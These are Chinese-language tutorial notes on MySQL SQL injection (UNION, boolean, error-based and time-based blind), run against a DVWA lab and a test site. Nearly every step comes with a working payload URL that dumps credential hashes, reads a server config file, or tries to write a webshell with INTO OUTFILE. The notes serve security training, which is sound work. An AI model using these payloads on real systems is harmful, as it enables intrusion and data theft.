WEB安全之:Mysql 数据库 SQL 注入(二)

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

3 Mysql 查询信息

3.1 union 联合查询注入方法

3.1.1 猜测表字段数

order by 1:查询表中包含几个字段,数字变换尝试,

对于order by 数字的用户说明如下:
示例1SELECT last_name, age , hobby FROM users ORDER BY salary DESC;
示例2SELECT last_name, age , hobby FROM users ORDER BY 2 DESC;
以上两个示例结果相同。因为 age 是第二个元素,所以可以使用 2 来代替。但是数字不可以使用 0,也不可以超出查询的列。

例如:select * from users order by x;
    如果 users 表有九个字段,那个 X 的范围就是 1 —— 9,不能是 0,也不能是 10,超出会报错

示例:

# 以闭合报错为 `'` 为例:
正确查询内容'order by 5-- 
    # -- 表示后面的为注释(-- 后有1个空格)
    # 变为:'查询语句' order by 5-- '
    # 效果为:'查询语句' order by 5
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' order by 5-- '&Submit=Submit#

# 若闭合报错的检测无法确认,尝试忽视闭合符号进行查询:
例:http://192.168.100.135/index.php?ID=104 order by 3
# order by 3 正常显示,order by 4 不正常显示,说明有 3 列。此时可以 select 1,2,3 想查询的数据

3.1.2 查询数据库系统信息

union select 1,2,3 from user

原理: 利用 UNION 确认表名是否存在

  • UNION 操作符用于合并两个或多个 SELECT 语句的结果集。UNION 内部的每个 SELECT 语句必须拥有相同数量的列。即第二个 SELECT 语句中的字段数需要等于第一个 SELECT 语句的字段数。
  • UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。
  • UNION 默认只选取结果不同的值,如果允许重复的值,使用 UNION ALL。
  • 第二个 SELECT 语句所查询字段可用数字来替代。
  • 若第二个 SELECT 语句所查询的表不存在,则返回错误信息。
  • 即使第二个 SELECT 所查询的表字段数小于第一个所查询的表,也不会返回错误信息。
例:http://192.168.100.135/index.php?ID=4 order by 3 是最后一个不报错的数,可知当前的表字段数为 3;

例:利用 UNION 查询表名称,若表存在,以数字替换页面内容的形式,正常显示页面,反之表不存在。
http://192.168.100.135/index.php?ID=4 union select 1,DATABASE(),3

# database() 函数可以用以下来替换以查询更多系统信息
VERSION();   # 查询 MySQL 版本
USER();      # 数据库用户名
@@datadir;   # 数据库路径
@@version_compile_os;    # 操作系统版本

3.1.3 查询表名

union select 1,2,3 from user

例:http://192.168.100.135/index.php?ID=4 order by 3 是最后一个不报错的数,可知当前的表字段数为 3;

例:利用 UNION 查询表名称,若表存在,以数字替换页面内容的形式,正常显示页面,反之表不存在。
http://192.168.100.135/index.php?ID=4 union select 1,2,3 from user

查询表字段名称

原理:

  • 利用查询表名的方法,将第二个 SELECT 语句所查询的(在页面上显示的)数字,替换成所猜测的表字段名称
  • 若表字段存在,以所猜测的表字段名称替换当前数字内容的形式,正常显示页面,反之表字段名称不存在。
http://192.168.100.135/index.php?ID=4 union select 1,username,3 from admin
http://192.168.100.135/index.php?ID=4 union select 1,username,password from admin

3.1.4 查询表数据

  • 利用所查询出的字段名查询出表数据。三种方式:

    1. 方式一
    http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' union select user,password from dvwa.users-- 
    
    2. 方式二
    http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' union select user,password from users-- 
    # 以 ":" 形式分隔输出 user 和 password ;concat 与 concat_ws 的区别是:concat_ws 需要首字段执行分隔符,而concat 直接按照顺序写,':'字符十六进制值0x3A
    
    3. 方式三 http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=' union select null,concat(user,0x3a,password) from users-- 
    

3.2 exists () 布尔型注入查询方法

3.2.1 查询表名

原理:

  • 利用 and exists (select * from tablename) 函数配合 SQL 查询语句查询表名是否存在。存在返回为 True ,反之为 False

示例

# 以闭合报错为 `'` 为例:
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and exists (select * from users)-- &Submit=Submit#

# 若闭合报错的检测无法确认,尝试忽视闭合符号进行查询:
例:利用 exists (select * from tablename) 查询表名称,若表存在正常显示页面;反之,表不存在。
http://192.168.100.135/index.php?ID=4 and exists (select * from admin)

3.2.2 查询表字段名称

原理

  • 利用 and exists (select para1,para2 from tablename) 查询表字段名称是否存在。
# 以闭合报错为 `'` 为例:
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and exists (select user,password from users)-- &Submit=Submit#

# 若闭合报错的检测无法确认,尝试忽视闭合符号进行查询:
http://192.168.100.135/index.php?ID=4 and exists (select username from admin)

3.2.3 猜测表数据长度

原理

  • 确定所要猜测数据位置,Mysql 下使用 LENGTH(字段名称) 函数与所猜测长度做 = 相等运算,长度猜测正确为真,正常打印页面。(也可以使用 ><)

示例

# 针对 Mysql 数据库类型,若猜测表数据长度正确,正常显示页面,反之表不存在。
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT LENGTH(user) FROM users WHERE user_id=3)=4-- &Submit=Submit#

3.2.4 查询字段数据

3.2.4.1 逐字猜解法

原理

  • mid() 函数:用于从文本字段中提取字符

    SELECT MID(column_name,start[,length]) FROM table_name
    # column_name:必需。要提取字符的字段
    # start:必需。规定开始位置(起始值是 1)
    # length;可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
    
  • ASCII(str) 函数:不能查询中文字符

    # str 为非空字符串,返回字符串 str 的最左字符的 ASCII 码数值
    # str 为空字符串,返回 0
    # str 为NULL,返回 NULL
    # 注:ASCII() 返回数值是从 0 到 255
    
  • 查询出所有字符的 ASCII 码后进行拼接,得到完整数据

示例:

# 针对 Mysql 数据库类型,若猜测截取数据 ASCII 码数值正确,正常显示页面,反之表不存在。
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT ASCII(MID((SELECT `user` FROM users WHERE user_id=1),1,1)))=97-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT ASCII(MID((SELECT `user` FROM users WHERE user_id=1),2,1)))=100-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT ASCII(MID((SELECT `user` FROM users WHERE user_id=1),3,1)))=109-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT ASCII(MID((SELECT `user` FROM users WHERE user_id=1),4,1)))=105-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT ASCII(MID((SELECT `user` FROM users WHERE user_id=1),5,1)))=110-- &Submit=Submit#

3.3 报错注入

  • Mysql 在执行 SQL语句的时,如果语句有错会返回报错信息。但在与 PHP 结合使用的时候默认并不会把报错的信息在页面显示出来,可以在 PHP 文件中通过调用 mysql_error() 将错误显示在页面上。
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 
  • 部分实例在新版本浏览器中需要查看源码方可查看到数据

3.3.1 查询数据库名

使用 info() 将会得到当前库的名

http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select null,info()-- &Submit=Submit#

# 页面显示: FUNCTION dvwa.info does not exist 其中 dvwa 为当前库名

3.3.2 常用报错语句

3.3.2.1 利用 floor 报错(通用)

1. 查询数据库版本
and (select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- &Submit=Submit#
# 输出:Duplicate entry '~5.0.51a-3ubuntu5~1' for key 1

2. 查询当前数据库
and info()
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and info()-- &Submit=Submit#
# 输出:FUNCTION dvwa.info does not exist

3. 查询当前登陆用户
and (select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- &Submit=Submit#
# 输出:Duplicate entry '~root@localhost~1' for key 1

4. 查询当前连接数据库
and (select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- &Submit=Submit#
# 输出:Duplicate entry '~dvwa~1' for key 1

5. 查询所有数据库
and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- &Submit=Submit#
# LIMIT 0,1 中数字 0 依次递增1,直到不显示为止。
# 输出:Duplicate entry '~information_schema~1' for key 1

6. 查询所有表
and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- &Submit=Submit#
# LIMIT 0,1 中数字 0 依次递增1,直到不显示为止。
# 输出:Duplicate entry '~guestbook~1' for key 1

7. 查询所有字段
and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- &Submit=Submit#
# 其中 users 为表名; LIMIT 0,1 中数字 0 依次递增1,直到不显示为止。
# 输出:Duplicate entry '~user_id~1' for key 1

8. 查询所有字段数据
and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- &Submit=Submit#
# 其中 users 为表名;user 为列名;LIMIT 0,1 中数字 0 依次递增1,直到不显示为止。
# 输出:Duplicate entry '#admin:5f4dcc3b5aa765d61d8327deb882cf99#1' for key 1

3.3.2.2 利用 ExtractValue 报错

  • ExtractValue 有长度限制,最长32位
1. 查询数据库名称
and extractvalue(1, concat(0x7e, (select @@version),0x7e))
and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and extractvalue(1, concat(0x7e, (select @@version),0x7e))-- &Submit=Submit#
# 输出:FUNCTION dvwa.extractvalue does not exist

2. 查询表名称
and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))-- &Submit=Submit#
# 输出:Table 'dvwa.admin' doesn't exist

3.3.2.3 利用 UpdateXml 报错

  • updatexml() 函数与 extractvalue() 类似,是更新 xml 文档的函数。
  • UpdateXml 有长度限制,最长32位
  • updatexml(目标xml文档,xml路径,更新的内容)
1. 查询数据库名称
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)-- &Submit=Submit#
# 输出:FUNCTION dvwa.updatexml does not exist

2. 查询表名称
and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)-- &Submit=Submit#
# 输出:Table 'dvwa.admin' doesn't exist

3.3.2.4 NAME_CONST 报错

  • 适用于低版本
1. 查询数据库版本
and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)-- &Submit=Submit#
# 输出:Duplicate column name '5.0.51a-3ubuntu5'

3.3.2.5 双查询报错

or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1-- &Submit=Submit#
# 输出:Duplicate entry '5.0.51a-3ubuntu5~1' for key 1

3.3.2.6 其他可利用报错注入函数

1. geometrycollection() 查询数据库用户名
约束条件:5.5<mysql版本<5.6
and geometrycollection((select * from(select * from(select user())a)b))

2. multipoint() 查询数据库用户名
and multipoint((select * from(select * from(select user())a)b))

3. polygon() 查询数据库用户名
and polygon((select * from(select * from(select user())a)b))

4. multipolygon() 查询数据库用户名
and multipolygon((select * from(select * from(select user())a)b))

5. linestring()
and linestring((select * from(select * from(select user())a)b))

6. multilinestring()
and multilinestring((select * from(select * from(select user())a)b))

7. exp()
and exp(~(select * from(select user())a))

3.3.3 报错注入流程

1. 查询当前用户名
and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
例:http://lab.com/mysqlinj.php?id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

2. 查询 root 密码
and (extractvalue(1,concat(0x7e,(select password from mysql.user),0x7e)))
例:http://lab.com/mysqlinj.php?id=1 and (extractvalue(1,concat(0x7e,(select password from mysql.user),0x7e)))

3. 查询所有库名称
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
例:http://lab.com/mysqlinj.php?id=-1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
# LIMIT 0,1 中数字 0 依次递增1,直到不显示为止。

4. 查询所有表名称
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
例:http://lab.com/mysqlinj.php?id=-1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
# LIMIT 0,1 中数字 0 依次递增1,直到不显示为止。

5. 查询表中所有字段
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='admin' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
例:http://lab.com/mysqlinj.php?id=-1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='admin' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
# 或将 admin 编码为16进制也可以
# LIMIT 0,1 中数字 0 依次递增1,直到不显示为止。

6. 查询所有数据
and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- &Submit=Submit#

updatexml() 查询数据,有长度限制,最长32位,超出部分无法显示。
 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
例:http://lab.com/mysqlinj.php?id=-1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

3.3.4 解决长度限制方法

  1. 查询数据或者数据长度
  2. SUBSTRING() 进行字符长度的截取
  3. 将字符拼接起来便是完整的的数据
1. 查询数据长度 60
and updatexml(1,concat(0x7e,(SELECT distinct LENGTH(concat(0x23,username,0x3a,password,0x23)) FROM admin limit 0,1),0x7e),1)
例:http://lab.com/mysqlinj.php?id=-1 and updatexml(1,concat(0x7e,(SELECT distinct LENGTH(concat(0x23,username,0x3a,password,0x23)) FROM admin limit 0,1),0x7e),1)

2. 查询 1-32 长度的数据
and updatexml(1,concat(0x7e,(SELECT distinct SUBSTRING(concat(0x23,username,0x3a,password,0x23),1,32) FROM admin limit 0,1),0x7e),1)
例:http://lab.com/mysqlinj.php?id=-1 and updatexml(1,concat(0x7e,(SELECT distinct SUBSTRING(concat(0x23,username,0x3a,password,0x23),1,32) FROM admin limit 0,1),0x7e),1)

3. 查询最后的数据,将 SUBSTRING(str,1,32) 中的 start 与 end 同时增加。
and updatexml(1,concat(0x7e,(SELECT distinct SUBSTRING(concat(0x23,username,0x3a,password,0x23),33,40) FROM admin limit 0,1),0x7e),1)
例:http://lab.com/mysqlinj.php?id=-1 and updatexml(1,concat(0x7e,(SELECT distinct SUBSTRING(concat(0x23,username,0x3a,password,0x23),33,60) FROM admin limit 0,1),0x7e),1)

3.3.5 报错注入读写文件

  • 新版浏览器可能需要查看页面源码才可以看到完整文件信息

3.3.5.1 extractvalue() 读取文件

原理

  • extractvalue(目标xml文档,xml路径)
    • 正常查询:第二个参数的位置格式为 /xxx/.../xx ,即使查询不到也不会报错
    • 第二个参数,如果写入其他格式,就会报错,并且会返回写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
1. 读取文件
and (extractvalue(1,concat(0x7e,(select load_file('C:\\inetpub\\wwwroot\\lab.com\\data\\config.inc.php')),0x7e)))
例:http://lab.com/mysqlinj.php?id=-1 and (extractvalue(1,concat(0x7e,(select load_file('C:\\inetpub\\wwwroot\\lab.com\\data\\config.inc.php')),0x7e)))

2. 解决长度限制问题:
and (extractvalue(1,concat(0x7e,SUBSTRING((select load_file('C:\\inetpub\\wwwroot\\lab.com\\data\\config.inc.php')),1,32),0x7e)))
# 将 SUBSTRING(str,1,32) 中的 start 与 end 同时增加。
例:http://lab.com/mysqlinj.php?id=-1 and (extractvalue(1,concat(0x7e,SUBSTRING((select load_file('C:\\inetpub\\wwwroot\\lab.com\\data\\config.inc.php')),1,32),0x7e)))

3.3.5.2 exp() 读取文件

and (exp(~(select * from (select load_file('C:\\inetpub\\wwwroot\\lab.com\\data\\config.inc.php'))a)))
# exp() 没有长度限制
例:http://lab.com/mysqlinj.php?id=1 and (exp(~(select * from (select load_file('C:\\inetpub\\wwwroot\\lab.com\\data\\config.inc.php'))a)))

3.3.5.3 exp() 写文件

and exp(~(select * from (select 'SQL injection')a)) into outfile 'C:\\inetpub\\wwwroot\\lab.com\\webshell.php'
例:http://lab.com/mysqlinj.php?id=-1 and exp(~(select * from (select 'SQL injection')a)) into outfile 'C:\\inetpub\\wwwroot\\lab.com\\webshell.php'
# 可以创建文件,但是无法在文件中写入数据,原因是 exp() 只能写入 0 或 1 到文件里面,错误写入的是 0;需要配合其他技术使用,如上传文件漏洞

3.4 延时注入(盲注)

  • 一般情况下,应用程序会:显示数据库内建的报错信息,报错信息提供关于系统的大量有用信息,内建的报错信息帮助开发人员发现和修复问题;但当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,SQL 注入将无法依据报错信息判断注入语句的执行结果,即盲注。

  • 延时注入属于盲注入的一种,这种注入

  • sleep() 函数通常与 if 条件语句一起使用,例如 :select if(LENGTH(version())=6,sleep(3),0) 如果版本的长度等于 6 数据库将延时 3s,否则输出 0

  • 延时方法注入流程

    1. 获取数据的长度
    2. 查询数据,对比 ASCII 码数值

3.4.1 获取数据库名称

1. 获取当前数据库名称长度
and if(LENGTH(database())=4,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(LENGTH(database())=4,sleep(3),0)-- &Submit=Submit#
# 通过返回的时间长短确认当前数据库名长度为 4

2. 查询当前数据库名称:dvwa
2.1 遍历 ASCII 方式
and if(ascii(substring((select database()),1,1))=100,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(ascii(substring((select database()),1,1))=100,sleep(3),0)-- &Submit=Submit#
# 将 SUBSTRING(str,1,1) 中的 start 依次增加 1 。遍历出所有数据,组合在一起即为数据库名称。

2.2 遍历字符方式
and if(left((select database()),1)='d',sleep(3),0)
例:
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select database()),1)='d',sleep(3),0)-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select database()),2)='dv',sleep(3),0)-- &Submit=Submit#
# 依次增加 LEFT(str,len) 函数的 len 长度与查询的库名称的字符数,遍历出所有数据。

3.4.2 获取表名称

1. 查询所有表名称的长度:注: group_concat() 会在表名之间插入一个 "," 号
and if(LENGTH((select(group_concat(TABLE_NAME)) from information_schema.TABLES where TABLE_SCHEMA=database()))=15,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(LENGTH((select(group_concat(TABLE_NAME)) from information_schema.TABLES where TABLE_SCHEMA=database()))=15,sleep(3),0)-- &Submit=Submit#
# 长度 15

2. 查询每个表的长度,注:select 语句需要使用"()"包含起来,length 函数语法才能正确。
and if(LENGTH((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1))=9,sleep(3),0)
例:
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(LENGTH((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1))=9,sleep(3),0)-- &Submit=Submit#
# limit() 行数依次增加 1,可遍历所有的表长度。
# 长度 9
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(LENGTH((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1))=5,sleep(3),0)-- &Submit=Submit#
# 长度 5
# 由以上可知该数据库中共存在 2 张表,一个长度为 9,一个长度为 5,总表长度=(9 + 1[逗号分隔符] + 5) = 15

3. 查询表的名称
3.1 遍历 ASCII 方式
# 查询所有表名称的方式
and if(ascii(SUBSTRING((select group_concat(TABLE_NAME)from information_schema.TABLES where TABLE_SCHEMA=database()),1,1))=103,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(ascii(SUBSTRING((select group_concat(TABLE_NAME)from information_schema.TABLES where TABLE_SCHEMA=database()),1,1))=103,sleep(3),0)-- &Submit=Submit#

# 依次查询单个表名称的方式
and if(ascii(SUBSTRING((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1))=103,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(ascii(SUBSTRING((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1))=103,sleep(3),0)-- &Submit=Submit#
# 注:SUBSTRING 编号从 1 开始,意味着表达式中的第一个字符为 1

3.2 遍历字符方式
# 查询所有表名称的方式
and if(left((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)='g',sleep(3),1)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)='g',sleep(3),1)-- &Submit=Submit#

# 依次查询单个表名称的方式
and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='g',sleep(3),1)
例:
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='g',sleep(3),1)-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)='gu',sleep(3),1)-- &Submit=Submit#
# 依次增加 LEFT(str,len) 函数的 len 长度,与查询的表名称的字符,遍历出所有数据。

3.4.3 查询表字段

  • 以下实例中 TABLE_NAME 也可以为16进制数,如:将 TABLE_NAME='users' 替换为 TABLE_NAME=0x7573657273
1. 查询字段长度
1.1 查询所有字段的总长度,注: group_concat() 会在表名之间插入一个 "," 号
and if(LENGTH((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users'))=49,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(LENGTH((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users'))=49,sleep(3),0)-- &Submit=Submit#
# 长度为:49

1.2 查询每个字段的长度
 and if(LENGTH((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1))=7,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(LENGTH((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1))=7,sleep(3),0)-- &Submit=Submit#
# limit() 行数依次增加 1,可遍历所有的表字段长度。
# 长度 7

2. 查询字段的名称
2.1 遍历 ASCII 方式
# 查询所有字段名称的方式
and if(ascii(SUBSTRING((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users'),1,1))='117',sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(ascii(SUBSTRING((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users'),1,1))='117',sleep(3),0)-- &Submit=Submit#

# 依次查询单个字段名称的方式
and if(ascii(SUBSTRING((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1),1,1))='117',sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(ascii(SUBSTRING((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1),1,1))='117',sleep(3),0)-- &Submit=Submit#

2.2 遍历字符方式
# 查询所有字段名称的方式
and if(left((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users'),1)='u',sleep(3),1)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users'),1)='u',sleep(3),1)-- &Submit=Submit#
# 依次增加 LEFT(str,len) 函数的 len 长度,与查询的字段名称的字符,遍历出所有数据。

# 依次查询单个字段名称的方式
 and if(left((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1),1)='u',sleep(3),1)
例:
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1),1)='u',sleep(3),1)-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1),1)='us',sleep(3),1)-- &Submit=Submit#
# 依次增加 LEFT(str,len) 函数的 len 长度,与查询的字段名称的字符,遍历出所有数据。

3.4.4 查询字段数据

1. 查询字段数据长度
1.1 查询所有查询字段数据的总长度,注: group_concat() 会在表名之间插入一个 "," 号
and if(LENGTH((select GROUP_CONCAT(user,0x3a,password) from users))=196,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(LENGTH((select GROUP_CONCAT(user,0x3a,password) from users))=196,sleep(3),0)-- &Submit=Submit#
# 总数据长度为:196
# 验证总数据长度:
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select null,LENGTH((select GROUP_CONCAT(user,0x3a,password) from users))-- &Submit=Submit#

1.2 查询每个字段数据的长度
and if(LENGTH((select user from users limit 0,1))=5,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(LENGTH((select user from users limit 0,1))=5,sleep(3),0)-- &Submit=Submit#
# 长度 5

2. 查询字段数据的内容
